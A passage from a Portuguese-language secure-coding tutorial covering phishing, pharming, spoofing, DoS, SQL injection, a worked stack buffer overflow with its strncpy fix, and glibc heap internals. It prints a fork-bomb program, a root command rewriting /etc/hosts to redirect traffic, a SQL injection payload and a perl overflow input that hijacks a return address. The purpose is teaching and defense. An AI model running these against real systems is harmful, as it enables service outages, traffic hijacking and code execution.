afetem a segurança, mas também de vulnerabilidades decorrentes do seu
uso; além disso ainda se pode implementar funcionalidades que diminuam a
probabilidade de sucesso do ataque.

Existem muitas formas de combater o phishing [Wikipedia:Phishing] ainda na


fase da implementação, identicando o ataque e alertando o usuário  quando
possível  ou simplesmente o ajudando a reconhecer a tentativa.

Algumas extensões para navegadores não permitem que scripts alterem o


conteúdo da barra de endereço; outras utilizam bancos de dados próprios com
cadastros de servidores de phishing e validam os endereços acessados pelos
usuários.

Alguns bancos na Internet associam uma foto pessoal do cliente à qualquer


formulário que requisite sua senha. Com isso é mais fácil identicar o site como
conável  mesmo que não previna que agentes Man in the Middle façam uma
réplica em tempo de execução.

O plug-in P etname, disponível para o M ozilla F iref ox, permite que os


usuários criem identicadores para os sites acessados, de forma que seja fácil
reconhecê-los em acessos subseqüentes.

Algumas organizações disponibilizam listas de servidores usados para phishing.


O M ozilla F iref ox [FFAntiPhish], por exemplo, trabalha em conjunto com o
Google Saf e Browsing , que é um sistema que, além de outras funções, pode
apontar servidores utilizados para phishing.
O navegador então compara o website acessado com as entradas na lista, e
dispara um alarme caso haja a possibilidade do ataque. Normalmente esta lista
ca armazenada na própria máquina do usuário, e é mantida atualizada pela
aplicação.

O F iref ox, por sua vez, permite que seus usuários do reportem websites
maliciosos  e isto alimenta a base de dados.

16
Por m, existem muitas outras formas de combater o phishing, embora talvez
nenhuma seja tão ecaz quanto a constante atenção dos usuários. Conhecer as
boas práticas de uso de um sistema já previne este e muitos dos ataques que
violam a segurança da informação, principalmente na Internet  como vírus,
worms, trojans, engenharia social, dentre outros.

Pharming
O objetivo do pharming é tomar o controle da tradução de nomes para
endereços em uma rede de computadores. Isso pode ser usado para direcionar
(com transparência) as vítimas para um servidor malicios  tal como é feito
no phishing, discutido na seção anterior. Uma das formas de conseguir este
controle é alterando as congurações de um servidor de DN S .
O protocolo DN S surgiu para facilitar a busca por máquinas na Internet.
Na antiga ARPANET as estações guardavam listas com os endereços IP de
máquinas conhecidas, e esta era a única solução para não ter que decorar
alguns números complicados.

Iniciativas independetes começaram a desenvolver meios de nomear as estações


com identicadores menos complicadas. A máquina do Daniel, por exemplo,
poderia atender pelo nome daniel, e a máquina do Tiago por tiago. Assim, o
Tiago não precisaria decorar o endereço IP do Daniel, e poderia simplesmente
obter esta informação através de uma requisição ao servidor de nomes. Ainda
que o Daniel mudasse de endereço IP  e contando que o servidor é mantido
atualizado  o Tiago poderia encontrá-lo fazendo uma nova requisição.

O W indows N T e seus sucessores utilizam LM HOST S (LAN Manager Hosts )


para fazer a tradução estática de nomes NetBIOS para endereços de uma rede
T CP/IP  através da uma lista local, que pode ser encontrada em:

%WINDIR%\system32\drivers\etc\lmhosts

O serviço W IN S ( Windows Internet Name Sever ) viria mais tarde permitir a


criação de servidores de nomes NetBIOS, e é capaz de fazer esta tradução em
redes baseadas na tecnologia W indows N T .
Outra herança direta dos tempos em que não se podia contar com servidores
de DN S é o arquivo /etc/hosts do Unix, que existe para a mesma nalidade
dos arquivos lmhosts  permitir a tradução local (estática) dos nomes.

root@localhost:~# cat /etc/hosts


# IPV4
192.0.34.161 internic
127.0.0.1 localhost

17
root@localhost:~# telnet internic 80
Trying 192.0.34.161...
Connected to internic.
Escape character is '^]'.
^]
telnet> quit
Connection closed.

A conguração acima indica que o sistema operacional deve traduzir o nome


internic para o endereço IP 192.0.34.161. Que é exatamente o que acon-
tece quando um processo do usuário requisita a tradução ao sistema operacional.

Para ilustrar um exemplo trivial de como o pharming é executado, imagine


que um hacker consiga acesso com o mesmo nível de permissão do usuário root
no sistema. Ele pode alterar o arquivo /etc/hosts para apontar para o seu
servidor de endereço 200.240.20.1:

root@localhost:~# sed 's/192.0.34.161/200.240.20.1/g' /etc/hosts>tmp\


> && mv tmp /etc/hosts
root@localhost:~# cat /etc/hosts
# IPV4
200.240.20.1 internic
127.0.0.1 localhost

Por m, o usuário é direcionado para a armadilha:

root@localhost:~# telnet internic 80


Trying 200.240.20.1...
Connected to internic.
Escape character is '^]'.

Note que a aplicação do usuário está comprometida ainda que o software não
opere com faltas, já que o serviço do sistema operacional foi violado.

Este exemplo de perda indireta mostra que a segurança não deve se ater à este
ou aquele ponto do desenvolvimento, ou de sua operação. As vulnerabilidades
podem estar por toda parte!

Na prática o pharming pode ser muito mais elaborado que isto. Uma variação
do ataque é discutida em [Jakobsson2006], e utiliza um pequeno auxílio do
usuário para alterar as congurações de roteadores de sua rede interna, através
da execução de scripts (JScript).
Os incidentes mostram que outras técnicas podem ser muito mais elaboradas e
perigosas. Alguns criminosos se inltram em servidores de nomes de provedores
de acesso à Internet e são capazes de atingir um grande número de vítimas,
redirecionando conexões para bancos online para suas armadilhas.

18
Spoof
O spoof é um nome genérico dado a todo o ataque que viola a integridade da
fonte de dados, forjando sua identidade. Como vimos, isto é feito em muitas
das técnicas descritas até aqui.

Existem inumeráveis formas de forjar uma identidade. Na internet, codicando


programas bem simples, é possível montar pacotes TCP com campo que indica
o IP de origem alterado; é possível enviar e-mails com o remetente falsicado;
forjar hostnames em servidores de IRC, e até mesmo denir um endereço físico
aleatório para a placa de rede.

Note que falsicar a identidade na Internet não é difícil em muitos casos,


por isso é importante que os sistemas estejam preparados para certicar a
identidade através da autenticação, da utlização de assinaturas digitais, etc.

2.4.3 Disponibilidade e Utilidade


DoS
É classicado como DoS ( Denial of Service ) qualquer ataque que indisponibilize
um recurso do sistema, ou impossibilite o acesso à informação.

O sistema pode car inoperante por diversos motivos. Se a causa do mal funci-
onamento tem caráter intencional, então dizemos que é um ataque do tipo DoS .
Quando o ataque é feito por diversos agentes em conjunto, somando esforços
para tornar o sistema indisponível, dizemos que é do tipo DDoS (Distributed
Denial of Service ).
Os mais triviais ataques deste tipo são os chamados fork bombs ; que são
processos de usuários capazes de consumir todo o recurso de um sistema
desprotegido. Veja o programa abaixo:

frkbmb.c

1 #include <s t d i o . h>


2 #include <u n i s t d . h>
3
4 int main ( void ) {
5 for ( ; ; )
6 fork ( ) ;
7 return 0 ;
8 }

19
Uma outra forma simples de ataque DoS são os oods, que podem combinar
pacotes UDP, ICMP, requisições syn (início de conexão), etc; com o objetivo
de sobrecarregar as estruturas de transferência de pacotes de um elemento da
rede.

Uma jeito fácil de demonstrar o ataque é utilizando a aplicação ping , com


privilégios de root, no Unix. A opção −f faz com que os pacotes ICM P sejam
disparados seqüencialmente sem aguardar qualquer conrmação. Os pacotes
podem ser enviados ao endereço de difusão (inglês: broadcast ) da subrede, para
potencializar o ataque.

Existem outros tantos tipos de ood. Todos seguem a mesma idéia e têm o
mesmo objetivo  tornar a informação ou sistema indisponível.

Na prática se defender de um ood pode ser bastante complicado. O cenário se


complica ainda mais quando os oods utilizam o spoof com endereços aleatórios
para mascarar a origem do ataque  porque não é possível pará-lo bloqueando
os pacotes pelo endereço de origem.

O DoS não se limita apenas ao consumo dos recursos do sistema. É possível


tirar proveito de faltas de software para torná-lo indisponível. Como é o
exemplo dos nukes, que são pacotes mal-formados com o propósito de gerar um
erro fatal na vítima, que a torne indisponível.

Um buer overow pode causar o mesmo impacto, se gerar uma erro não espe-
rado no processo destino, que o tire do uxo de execução correto.
Os nukes buer overows
e podem ser evitados por programadores  evitando
a reprodução de defeitos que permitam tornar o sistema indisponível.

O último capítulo deste documento mostra boas práticas de programação que


diminuem a ocorrência destes problemas.

2.5 Desenvolvimento de Sistemas Seguros


2.5.1 Engenharia de Softwares Seguros
A segurança de um sistema começa muito antes da fase de implementação. Uma
falta no design ou na arquitetura pode gerar impactos irrecuperáveis. Todo soft-
ware realmente seguro é concebido, planejado e construído como tal  não há
outra forma de fazê-lo.

Algumas perguntas são pertinentes quando pensamos em desenvolver um


software seguro. Por exemplo: Como uma ameaça poderia tirar proveito do
sistema? Quais são os seus pontos fracos? Existe informação pública que possa
comprometer a segurança? Quais os riscos que assumimos utilizando o sistema?
Quais os possíveis danos causados por um incidente? Quão seguro o sistema
deve ser?

20
Ao longo deste documento algumas das questões serão respondidas; outras
carão à critério do desenvolvedor, pois não há a intenção de abordar profun-
damente o design da arquitetura de um software seguro, mas sim sua imple-
mentação. É aconselhável recorrer à outras referências quando for apropriado.
O documento [Gra et al. 2003] é um bom ponto de partida e responde direta-
mente estas e outras perguntas.

2.5.2 O Dilema Segurança-Custo-Usabilidade


Nenhum sistema é totalmente seguro. Um dos obstáculos críticos da fase de
planejamento é o trade-o da segurança e o custo de produção ou uso. É in-
viável implementar todos os mecanismos de segurança disponíveis porque, por
vezes, isto requer demasiada alocação de recursos, ou implica em diculdades
intangíveis de usabilidade.

O nível de segurança que deve ser implementado é inversamente proporcio-


nal ao risco que estamos dispostos a assumir. Eliminar riscos tem um custo que,
freqüentemente, não é baixo. Outro fato que deve ser levado em consideração
é que o exercício da segurança requer a implementação de controles que geram
obstáculos, não só para ameaças , mas também para os usuários, e por isso o
nível de segurança também é inversamente propocional à facilidade de uso do
sistema.

Quanticar estas três variáveis requer uma análise cuidadosa. Imagine um


cenário hipotético onde você foi contratado para implementar um sistema seguro
de troca de informação entre bases espaciais brasileiras. Atualmente os dados
são transferidos como texto legível e podem ser interceptados por qualquer saté-
lite inimigo. O prejuízo decorrente do roubo destes arquivos é de R$ 500.000,00.

A implementação de um sistema de criptograa requer um investimento de


R$ 25.000,00 e garante um nível de segurança que diminuiria drasticamente a
chance da condencialidade da informação ser comprometida. O processo de
transferência não será afetado e a codicação dos dados será transparente para
o usuário.

Este é um caso onde claramente deve-se adotar a medida de segurança, já


que a relação entre o custo, segurança e usabilidade é muito favorável.

Por outro lado, imagine que para implementar o sistema fosse necessário que
cada astronauta digitasse centenas de dados pessoais, zesse reconhecimento de
voz, leitura da retina e outras dezenas de processos biométricos, etc. Além disso,
a compra de toda a aparelhagem necessária custaria R$ 1.000.000,00.

21
Será que ainda assim é viável implementar o sistema? E se o código de ética
entre os países que exploram o espaço garantir um nível de segurança aceitável?

Este dilema está presente não só na engenharia do software seguro, mas em


todas as áreas da segurança da informação, e deve sempre ser considerado cui-
dadosamente.

2.5.3 Processos de Desenvolvimento de Software


Uma forma ecaz de viabilizar a segurança é através da utilização de processos
de desenvolvimento adeqüados. De forma geral, o controle de qualidade per-
mite conhecer limites e respostas de algumas propriedades do software. Estas
informações apoiam a análise do fatores de qualidade e por isso contribuem pra
segurança do sistema.

Mas não é só a análise dos fatores de qualidade que incrementa a segurança


do sistema. Outro exemplo é a prática do uso de requisitos, que evita, através
da clareza de especicação, a má interpretação do que foi idealizado, e por isso
contribui substancialmente para a segurança.

Todo o processo de homologação de um sistema é fundamental para melhoria


da segurança. É aconselhável, por exemplo, este processo conte com a auditorias
do código-fonte e testes que exercitem aspectos da segurança. Isto permite que
os defeitos sejam encontrados ainda na fase de desenvolvimento.

Do ponto de vista de QA (Quality Assurance ) segurança é um fator de qua-


lidade, tal como performance, usabilidade, dentre outros.
Um exemplo de processo de desenvolvimento orientado à segurança é o SDL
Security Development Lifecycle ) proposto e utilizado pela Microsoft Corpora-
(
tion [Lipne, Howard, 2005].
Outros padrões e processos como o CLASP e a Common Criteria também
contêm controles essenciais para a criação de sistemas seguros.

22
3 Explorando vulnerabilidades
3.1 Introdução
A melhor forma de compreender a criticidade dos erros de programação é ver
na prática como são explorados. Esta seção tenta mostrar, através de exemplos
básicos, a idéia geral de como explorar falhas de segurança. Note que, no en-
tanto, a prática mostra que os caminhos conhecidos nem sempre são ecazes.
Outros documentos, como os encontrados em [JulianoWWW] e [PhrackMag],
exploram mais profundamente este assunto.

Esta introdução dá uma visão geral da origem das falhas de segurança. As


seções subseqüentes discorrerão em detalhes sobre o tópico.

3.1.1 Arquitetura de Sistemas


A compilação do código fonte traduz sua linguagem para opcodes, e armazena
em disco no formato do binário ELF ( Executable and Linkable Format ). Para
ser executado o código é lido do binário (disco) para a memória principal. Em
seguida, o processador carrega e executa seqüencialmente os opcodes.
Na arquitetura x86 64-bits, o conteúdo dos segmentos é passado para o pro-
cessador através do ponteiro (registrador) de instrução %rip. Este registrador
é extremamente importante porque, como referencia a próxima instrução a ser
executada, pode ser usado para violar a segurança do sistema  desde que pos-
samos apontá-lo para uma aréa de memória arbitrária.

Cabe, portanto, encontrar uma forma de violar a segurança. Imagine que


um servidor de e-mails tem uma vulnerabilidade que permita sobrescrever seu
frame pointer (%eip). Se enviamos no corpo da mensagem uma seqüencia de
opcodes que, quando executada, é capaz de abrir um shell em uma porta T CP ,
poderemos ter acesso total ao sistema com os direitos de acesso do processo
explorado.

Assumindo que a máquina é vulnerável, basta apontar o %rip para o início


da seqüência no corpo da mensagem. O sistema operacional, inicialmente, não
pode perceber que este segmento da memória não deve ser executado; e com
isso sua segurança é fatalmente corrompida.

O conhecimento da arquitetura do computador atacado é, quase sempre,


muito útil para quem quer desenvolver o exploit.

23
3.1.2 Gerenciamento de memória
No início da primeira década as principais vulnerabilidades encontradas em
softwares exploravam erros de gerenciamento de memória  os buer overows.
Os overows são estouros de espaços reservados para alocar informação. Al-
guns estouros ocorrem por causa do tamanho do segmento e podem alcançar
áreas críticas do processo que podem ser utilizadas para execução de código
arbitrário.

Outros tipos de overows excedem os limites de representação numérica, e


podem permitir que a segurança seja comprometida, ainda que em casos bas-
tante especiais.

Veremos em detalhes alguns exemplos de técnicas que permitem explorar


esse tipo de vulnerabilidade. Normalmente estes problemas ocorrem em códigos
que não têm a preocupação com o tamanho do buer na escrita dos dados. Por
exemplo, se um vetor guarda espaço para doze bytes e vinte bytes são copiados
sobre ele, existe um estouro de oito bytes escritos em um espaço (teoricamente)
não permitido. Este espaço pode ser usado em algum momento para manipular
o registrador de instrução.

Quando não há a vericação do tamanho do buer destino, dizemos que não


há bound checking.
Esse espaço alcançado pelo estouro pode, eventualmente, ser o return address
de uma chamada de função; ou um ponteiro para função, etc. As próximas se-
ções discutem técnicas de exploração de buer overows em mais detalhes.

3.1.3 Processamento de Entradas


Outro tipo de erro muito cometido por programadores é deixar brechas para
acessos indevidos ao processar entradas. Um exemplo muito comum encontrado
em centenas de aplicações hoje em dia são os sql injections.
Imagine que o campo Telefone web insira os dados digi-
de um formulário
tados pelo usuário através da variável  $PHONE , no comando de SQL  select
* from table1 where phone=$PHONE . Se o usuário, maliciosamente, digita
 2233-2222; select passwd from table2 where user=Guest  no campo, e o sis-
tema é vulnerável, ele obtém também o resultado da segunda query. Na prática
este tipo de falta quase sempre permite o acesso irrestrito ao banco de dados.

Muitas outras vulnerabilidades decorrem do mal processamento de inputs.


Veremos adiante outros tipos comuns.

24
3.2 Buer Overow
O buer overow, ou buer overrun, ocorre quando um processo tenta arma-
zenar dados além dos limites permitidos. O resultado é que essa informação
extra sobrescreve áreas adjacentes de memória. A área sobrescrita pode incluir
buers ou variáveis que inuenciem no uxo do código. Veremos como alterar
esse uxo para ganhar acesso ao sistema.

3.2.1 Stack overow


Dizemos que há um stack overow quando qualquer espaço do segmento pilha é
sobrescrito. Em algumas situações é possível tirar proveito de um stack overow
para executar códigos arbitrários no sistema. Por exemplo, no programa abaixo
a variável bu recebe o primeiro argumento passado pela linha de comando.

1i.c.5-12

5 void foobar ( char ∗s ) {


6 char buf [ 2 5 6 ] ;
7 s t r c p y ( buf , s ) ;
8 }
9 int main ( int argc , char ∗∗ argv ) {
10 f o o b a r ( argv [ 1 ] ) ;
11 return 0;
12 }
O espaço reservado para variável é de 256 bytes. O que acontece quando
passamos um argumento muito maior? A função strcpy(dst, src) lê o conteúdo
do src até encontrar um zero (nal de string ) copiando o conteúdo para dst. No
entanto não é garantido que o destino possa comportar todo os bytes de src.

Top = 0xFF
argv[1]
retaddr

%rbp
buf[255]
...
buf[0]

Bottom = 0x00

Figura 3: Stack 1i

25
A f igura 2 mostra o estado da stack no momento antes da chamada de
strcpy(). A cópia dos dados é feita escrevendo o primeiro byte de src (s) na
primeira posição de dst (buf ), sucessivamente até o que strcpy encontre um ca-
ractere null em src. A descrição da cópia já sugere que ocorre overow quando
o tamanho da origem dos dados é maior que o destino.

Quando a função f oobar() for chamada, a instrução call insere na pilha o


endereço de retorno ( retaddr ). Ao término da função a instrução ret restaura o
valor do retaddr para o registrador %rip (ou %eip na arquitetura IA-32), que
indica qual a próxima instrução a ser executada.

Se podemos sobrescrever o valor do retaddr é possível conseguir o controle


do uxo das instruções. Um argumento de tamanho 272 bytes (+padding ) seria
grande o suciente para sobrescrever o retaddr com seus últimos oito bytes. Bas-
tando então apontá-lo para um buer que contenha as instruções que desejamos
executar  eg., os shellcodes.

Não vamos descrever as técnicas usadas para injetar códigos maliciosos em


tempo de execução  isto estaria fora do escopo proposto; porém como curio-
sidade, o terceiro capítulo de [Koziol et al. 2004] mostra como fazer shellcodes
para este m.

Para simplicar, a função lostf unc faz o papel do código arbitrário. Nosso
objetivo é executá-la através da manipulação do return address. O código abaixo
é o arquivo 1i.c completo. Veja que a função lostf unc não é referenciada em
nenhum momento e não deve ser executada exceto se o uxo do programa for
desviado.

1i.c

1 #include <s t d i o . h>


2 #include <s t r i n g . h>
3 #include <s t d l i b . h>
4
5 void f o o b a r ( char ∗ s ) {
6 char buf [ 2 5 6 ] ;
7 s t r c p y ( buf , s ) ;
8 }
9 int main ( int argc , char ∗∗ argv ) {
10 f o o b a r ( argv [ 1 ] ) ;
11 return 0;
12 }
13
14 void lostfunc () {
15 p r i n t f ( " E x p l o i t e d . \ n" ) ;
16 exit (0);
17 }

26
O padding das variáveis locais não é xo entre arquiteturas e compiladores,
por isso o primeiro passo é traduzir o código da função f oobar() para assembly
de forma a saber como o gcc trata a alocação das variáveis.

1i.s

5 foobar :
6 . LFB5 :
7 pushq %rbp
8 . LCFI0 :
9 movq %rsp , %rbp
10 . LCFI1 :
11 subq $272 , %r s p
12 . LCFI2 :
13 movq %r d i , −8(%rbp )
14 movq −8(%rbp ) , %r s i
15 leaq −272(%rbp ) , %r d i
16 call strcpy
17 leave
18 ret
O código acima foi gerado pelo GCC com a ag  −S , que o instrui a parar
o processo de geração do binário antes da etapa de compilação.

Veja que 7 salva o valor do registrador %rbp da main, e 11 corresponde a


alocação da variável buf de f oobar  exatamente como mostra a Figura 1.
Nos 64-bits seguintes à %rbp está o retaddr. Se passamos um argumento de
288 bytes 3 conseguimos atingir a área de memória que será copiada sobre %rip
na saída de f oobar . Basta que o conteúdo da última posição do input seja o
endereço de lostf unc. A ferramente objdump
4 nos ajuda a localizar lostf unc
no binário 1i.

savio@halcyon:src% objdump -d 1i | grep lostfunc


000000000040053f <lostfunc>:
savio@halcyon:src%

Sabendo que o primeiro opcode de lostf unc está no endereço 0x40053f ,


bytes do input malicioso contenha este valor.
basta fazer com que os últimos oito
Como passar o endereço da função requer o input de caracteres não-imprimíveis
usamos o interpretador da linguagem P erl para fazê-lo. E nalmente...

savio@halcyon:tmp% ./1i `perl -e 'print "A"x280,"\x3f\x05\x40","\x00"x5'`


Exploited.

3 sizeof (buf ) + sizeof (padding) + sizeof (%rbp) + sizeof (retaddr) = 256 + 16 + 8 + 8


4 disponível na maioria das distribuições de Linux

27
Voilà! O output Exploited conrma o sucesso da tentativa.

Portanto, usamos um input grande o suciente para cobrir todo o buer alo-
cado para a variável buf e suas vizinhanças. Este input contém o endereço da
função lostf unc em uma posição especíca para sobrescrever o return address
de f oobar. Este por sua vez é copiado para o registrador %rip quando a função
retorna, i.e., quando a instrução ret é processada.

Como seria então a versão segura deste programa?

1s.c

1 #include <s t d i o . h>


2 #include <s t r i n g . h>
3 #include <s t d l i b . h>
4
5 void f o o b a r ( char ∗ s ) {
6 char buf [ 2 5 6 ] ;
7 s t r n c p y ( buf , s , sizeof ( buf ) − 1);
8 buf [ sizeof ( buf ) − 1] = 0 ;
9 }
10 int main ( int argc , char ∗∗ argv ) {
11 f o o b a r ( argv [ 1 ] ) ;
12 return 0 ;
13 }
A função strncpy(dst, src, n) é como a strcpy porém faz o bound checking
necessário para não permitir um overow. A diferença é que no máximo n bytes
de src são copiados para dst, como especicado no terceiro argumento.

A linha 7 bytes de s para buf guardando a última posição para


copia 255
o delimitador de nal de string (o caractere null ou zero) atribuído em 8. O
resultado é uma função um tanto mais conável para o software.

Por m, a mesma tentativa de sobrescrever o return address falha com a


nova versão do programa.

savio@halcyon:src% ./1s `perl -e 'print "A"x288'`


savio@halcyon:src% echo $?
0

Existem patches para alguns sistemas operacionais que impedem ou dicul-


tam a execução dos dados da stack. Desta forma, mesmo que o registrador
%rip aponte para um shellcode na parte da memória referente à pilha, este não
poderá ser executado.

O kernel do sistema operacional Solaris 2.6, por exemplo, oferece a opção


protect_stack. O StackGuard, desenvolvido por Crispin Cowan, também se

28
aplica ao mesmo m. O StackGhost é uma proteção baseada em características
da arquitetura SPARC, que diculta a exploração de buer overruns. Este úl-
timo foi otimizado e integrado ao OpenBSD 2.8. Outros tantos softwares foram
desenvolvidos para proteger a stack.

3.2.2 Heap overow


O senso comum indica que qualquer memória dinamicamente alocada pela apli-
cação é chamada heap. Pela aplicação porque a requisição deste espaço é feita
pelo usuário (user land ) ao kernel através de system calls. Uma das implemen-
tações da função malloc() da GNU C Library, por exemplo, faz chamadas à
brk() e mmap() de acordo com o tamanho requisitado.

A seção do formato ELF que contém variáveis não inicializadas do programa


é chamada bss (Block Started by Symbol ); o mesmo que o data segment para os
compiladores. Como estas variáveis são inicializadas em run-time é comum uti-
lizarmos os valores deste segmento na exploração dessas vulnerabilidades. Por
isso alguns autores muitas vezes usam o termo heap/bss-based overow para se
referir a estas falhas.

Na maioria dos sistemas a heap cresce no sentido positivo (ao contrário da


stack ), como mostra a F igura 3.

Top = 0xFF

Stack

Heap

Bottom = 0x00

Figura 4: Stack+Heap

Existem muitas técnicas que exploram buer overows. Para cada técnica
teremos abordagens de exploração da heap completamente diferentes.

29
O exemplo desta seção aproveita algumas características da implementação
das funções de alocação dinâmica  criadas pelo Dr. Doug Lea e adotados
como padrão pela GN U C Library [DL-malloc]  para explorar as vulnerabi-
lidades dos programas. A técnica descrita aqui foi originalmente publicada em
[MaXX2001].

As funções da biblioteca padrão para alocação dinâmica de memória são:

• malloc(n), Requisita um bloco de n bytes. Retorna um ponteiro para a


área alocada ou N U LL caso não encontre espaço suciente.

• calloc(n, m), Aloca espaço para n elementos de tamanho m. Retorna um


ponteiro para a área alocada ou N U LL caso não haja espaço disponível.
• realloc(p, n), Muda o tamanho do bloco apontado por p para n bytes.
Se p for N U LL, a função se comporta exatamente como malloc(). Se o
tamanho é 0, se comporta como a função f ree().

• f ree(p), libera o espaço do bloco apontado por p. Se p for N U LL não faz


nada. Essa função não retorna.

A heap é formada, basicamente, por uma série de segmentos de dados con-


secutivos, todos precedidos por um cabeçalho com informações sobre o estado
da estrutura. A composição do cabeçalho com os dados é chamada chunk.
Os chunks podem ser: livres, quando seu segmento de dados não está sendo
utilizado por nenhuma aplicação, e por isso podem ser consumidos quando ne-
cessário; ou alocados, quando estão reservadas para uso.
Dois chunks consecutivos nunca podem ser ao mesmo tempo livres. Todo o
espaço não alocado é concatenado em um só segmento livre. Da mesma forma,
em alguns casos, os chunks livres são fragmentados em dois ou mais chunks para
alocação.

A implementação do Dr. Lea, portanto, gerencia essa lista de chunks, através


de estruturas lógicas de apoio (veja mais sobre os bins, abaixo), manipulando
os campos dos cabeçalhos.

O algoritmo de alocação utiliza a técnica best-t para encontrar o chunk


livres mais adeqüado para consumir. Além disso, implementa-se heurística em
alguns pontos para melhorar, tanto o desempenho, quanto o consumo dos re-
cusos da máquina. Mais detalhes sobre o algoritmo podem ser encontrados em
[Lea1996, DL-malloc] e [MaXX2001].

30
O código abaixo mostra a implementação dessa estrutura feita pelo Dr. Lea,
na linguagem C  retirado de malloc.c [DL-malloc]. Vale notar que esta é
certamente uma das obras mais elegantes e renadas já codicadas. O arquivo
malloc.c tem comentários suciente para possibilitar a compreensão (com algum
esforço, talvez).

malloc.h

10 struct malloc_chunk {
11
12 INTERNAL_SIZE_T prev_size ;
13 INTERNAL_SIZE_T size ;
14
15 struct malloc_chunk ∗ f d ;
16 struct malloc_chunk ∗ bk ;
17 };
O campo prev _size indica o tamanho do chunk anterior se, e somente se,
ele estiver livre; caso contrário esse espaço é aproveitado como área de dados do
chunk anterior.

O campo size contém o tamanho alocado para o chunk (sem contar os bytes
aproveitados de prev _size); que é o mesmo que a diferença entre os endereços
de next_chunk e chunk , como mostra a Figura 4.

Os três bits menos signicativos do campo size são usados para controle.
O menos signicativo entre eles indica se o chunk anterior está alocado. O
segundo menos signicativo indica se a memória foi alocada através de uma
chamada à mmap() (lembre-se que malloc utiliza as primitivas brk e mmap).
O terceiro indica se o chunk foi obtido de um contexto alternativo. Por hora,
não se preocupe em compreender o propósito destes dois últimos bits  eles não
serão utilizados nesta seção.

chunk
prev_size
size
FD
BK
data
...
next
chunk
prev_size

Figura 5: Chunk

31
Os chunks livres são armazenados em bins. Estas estruturas serão detalha-
das mais à frente; por enquanto basta saber que eles guardam listas encadeadas
circulares de chunks livres com tamanhos semelhantes.

Quando os chunks estão livres os campos bk e fd indicam, respectivamente,


o chunk anterior e o próximo chunk na lista encadeada circular. Quando o bloco
está alocado estes campos armazenam os dados do usuário.

O trecho abaixo é parte da implementação original das funções de manipu-


lação do tamanho do chunk. Nos importa saber como eles são escolhidos, de
acordo com o que é requisitado pelo usuário. Esta é uma informação essencial
para podermos burlar a estrutura com sucesso.

malloc.h

19 #define MIN_CHUNK_SIZE ( sizeof ( struct malloc_chunk ) )


20
21 #define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )
22 #define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT − 1 )
23
24 #define MINSIZE \
25 ( unsigned long ) ( ( ( MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) &\
26 ~MALLOC_ALIGN_MASK ) )
27
28 #define r e q u e s t 2 s i z e ( req ) \
29 ( ( ( req ) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
30 MINSIZE : \
31 ( ( req ) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

O tamanho de um chunk deve ser sempre múltiplo de 8 bytes (para ns de


alinhamento) e maior que (N + SIZE _SZ)  onde N é o tamanho requisitado
pelo usuário  caso contrário, não haverá espaço suciente para os dados e o
cabeçaçalho). A tradução do tamanho requisitado para o tamanho que efetiva-
mente se deve alocar é feita pela função request2size().

É possível que se pense erroneamente que o tamanho mínimo alocado possa


ser (N + 2 ∗ SIZE _SZ), já que perdemos o espaço das duas primeiras variáveis
da estrutura; mas lembre-se que podemos contar com o campo prev _size do
próximo chunk (next_chunk) como área de dados, já que o chunk está alocado.
Especicamente no caso do AM D 64-bits, temos os seguintes características:

• SIZE _SZ = sizeof (size_t) = 8 bytes


• sizeof (struct malloc_chunk) = 32 bytes
• M IN SIZE = (32 + 15)& 0xF F F F F F F 0 = 32 bytes

32
Perceba que o tamanho mínimo que o usuário pode utilizar é 24 bytes, já que
a área de dados começa logo após o campo size e termina no campo prev _size
de next_chunk .

O ponteiro retornado por malloc aponta para área de dados. Se subtrairmos


(2 ∗ SIZE _SZ) deste endereço encontraremos o início do chunk. O programa
hp1.c consolida parte do que foi dito até agora, mostrando informações sobre
chunks alocados:

Listing 9: hp1.c

5 int main ( int argc , char ∗∗ argv ) {


16 p = malloc ( SZ ) ;
18 ptr = ( struct chunk ∗ ) ( p−SIZE_SZ ∗ 2 ) ;
19 p r i n t f ( " r e q u e s t e d s i z e : %d \ n " , SZ ) ;
20 p r i n t f ( " c h u n k : %p \ n " , p t r ) ;
21 p r i n t f ( " c h u n k −>p r e v _ s i z e : %d \ n " ,
22 int
( ) ( ptr −>p r e v _ s i z e ) ) ;
23 int
p r i n t f ( " c h u n k −> s i z e : %d \ n " , ( ) ( ptr −>s i z e ) ) ;
24 p r i n t f ( " a v a i l a b l e s p a c e : %d \ n " ,
25 unsigned long
( ) ( ptr −>s i z e & ~0x03L ) − 4 ) ;
26
27 nxt = ( struct chunk ∗ ) ( ( char ∗ ) p t r + ptr −>s i z e ) ;
28 p r i n t f ( " n e x t _ c h u n k : %p \ n " , nxt ) ;
29 p r i n t f ( " n e x t _ c h u n k − c h u n k : %i \ n " ,\
30 int
( char
)(( char
∗ ) nxt − ( ∗) ptr − 1 ) ) ;
31 free (p ) ;
32
33 return 0;
34 }

A execução deste programa no AM D 64-bits mostra o seguinte resultado:

savio@halcyon:~/mono% ./src/hp1 0
requested size: 0
chunk: 0x501090
chunk->prev_size: 0
chunk->size: 33
available space: 28
next_chunk: 0x5010b1
next_chunk - chunk: 32

O primeiro argumento do comando é passado para malloc(). O processo,


portanto, requisita a alocação de 0 bytes.
A saída do programa mostra que o chunk reservado tem 32 bytes (descon-
siderando os bits de controle); o que conrma a corretude das especicações
descritas anteriormente.

33
Como o espaço requisitado é muito pequeno, a função malloc aloca um
chunk de tamanho M IN SIZE . Esta constante é retornada por request2size(),
quando cai na primeira condição do teste em malloc.h: 11.
O bit de controle menos signicativo, no campo size, indica que o chunk
anterior está alocado, e, por isto, o campo prev _size não é utilizado (caso con-
trário não seria atribuído de 0).

Figura 6: Lea's Bins [Lea1996]

Os chunks livres são agrupados em bin arrays por tamanho, mantidos em


uma cadeia de 128 posições.

Os tamanhos das primeiras 64 posições crescem com saltos (oset ) de 8 bytes


 i.e., a posição 2 tem chunks de tamanho 16; a posição 3 tem tamanho 24, e
assim por diante (como mostra a gura 5).

Como os primeiros 64 índices têm saltos de 8 bytes, e o alinhamento é também


feito por bytes, os chunks desses bins têm o tamanho exato da sua indexação.
8
Estes são os chamados chunks pequenos.

As demais posições contém os chunks grandes mantidos em ordem crescente


de tamanho, nos bins apropriados (não mais com tamanhos exatos, obviamente).
A distribuição dos tamanhos segue desta forma:

34
64 posições, com saltos de 8 bytes
32 posições, com saltos de 64 bytes
